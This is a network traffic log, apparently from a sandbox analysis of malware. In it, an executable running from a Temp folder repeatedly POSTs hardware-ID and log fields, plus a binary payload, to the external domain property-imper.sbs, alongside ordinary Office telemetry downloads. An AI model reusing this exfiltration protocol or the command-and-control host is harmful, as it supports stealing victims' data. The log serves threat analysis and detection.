--55CGGXWJA6U3MContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--55CGGXWJA6U3MContent-Disposition: form-data; name="pid"2--55CGGXWJA6U3MContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--55CGG
2024-11-23 20:15:23 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r3dopfl20q1gdqib3l3ivpiqta; expires=Wed, 19-Mar-2025 14:02:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PrDcrwRnJ5urqnvXHKXDNgE4NX9p4eFTLxZySuQyr6YYA2aQhxFx%2F9yFYNT1mojrKaPCpQvRTflVKc0Uj7byBxBP8Yn4nsFVs3ZqMvRuPLM%2FG1D%2FU0DzZvl5qTdelVSU0EXiw1o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4b6293841d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&sent=12&recv=16&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13759&delivery_rate=1167532&cwnd=251&unsent_bytes=0&cid=6eac02e717efb772&ts=1015&x=0"
2024-11-23 20:15:23 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49717	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:25 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=87B7B6MMZAH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15039 Host: property-imper.sbs
2024-11-23 20:15:25 UTC	15039	OUT	Data Raw: 2d 2d 38 37 42 37 42 36 4d 4d 5a 41 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 38 37 42 37 42 36 4d 4d 5a 41 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 37 42 37 42 36 4d 4d 5a 41 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 37 42 37 42 36 4d 4d 5a 41 48 Data Ascii: --87B7B6MMZAHContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--87B7B6MMZAHContent-Disposition: form-data; name="pid"2--87B7B6MMZAHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--87B7B6MMZAH
2024-11-23 20:15:26 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nu1mgalm2cr89baf4hej8c370h; expires=Wed, 19-Mar-2025 14:02:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2b6UtBSjfr2daociiQZ%2BST5aW3Og%2BoD427AhoibBzKCDOq36BqzDBkDXbDE1wU0xuYytvdGlyKsro%2Fr%2BOu7HqoapgAeoURmijsc94lGmpvlAvLcwxaQ84%2Bh0mkaB9%2FERlG04yI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4c6dcd51a44-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1859&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=15974&delivery_rate=1583514&cwnd=114&unsent_bytes=0&cid=b063de5ad029bfe0&ts=1196&x=0"
2024-11-23 20:15:26 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.8	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:26 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:26 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:26 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: c1af2548-001e-00ad-39e4-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201526Z-178bfbc474bv7whqhC1NYC1fg4000000050g000000004s3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:26 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 20:15:27 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49720	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:27 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0AVY7BJESDMEH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20218 Host: property-imper.sbs
2024-11-23 20:15:27 UTC	15331	OUT	Data Raw: 2d 2d 30 41 56 59 37 42 4a 45 53 44 4d 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 30 41 56 59 37 42 4a 45 53 44 4d 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 41 56 59 37 42 4a 45 53 44 4d 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 41 56 59 37 Data Ascii: --0AVY7BJESDMEHContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--0AVY7BJESDMEHContent-Disposition: form-data; name="pid"3--0AVY7BJESDMEHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--0AVY7
2024-11-23 20:15:27 UTC	4887	OUT	Data Raw: 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-11-23 20:15:28 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qpnmbirshgulhk1je63a22sjsp; expires=Wed, 19-Mar-2025 14:02:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QiXPWA%2F0ydolnltn%2BGM1HguuOkrMPc8mHBNGCL7w3FNFMMgLVM7HTjKijcqlY1aUtmd1eAuWtpn%2FGFez1e0QQP6EVo8EsNzMiiHw5PKMd7c9JA1MyulEqShBu9gdv3SrdKF%2BaYk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4d8cb714382-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21177&delivery_rate=1602634&cwnd=248&unsent_bytes=0&cid=db5676d8b81064f9&ts=774&x=0"
2024-11-23 20:15:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.8	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:29 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e7cf57de-301e-006e-404d-3cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201529Z-15b8b599d88pxmdghC1TEBux9c00000003mg000000004bt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.8	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:29 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
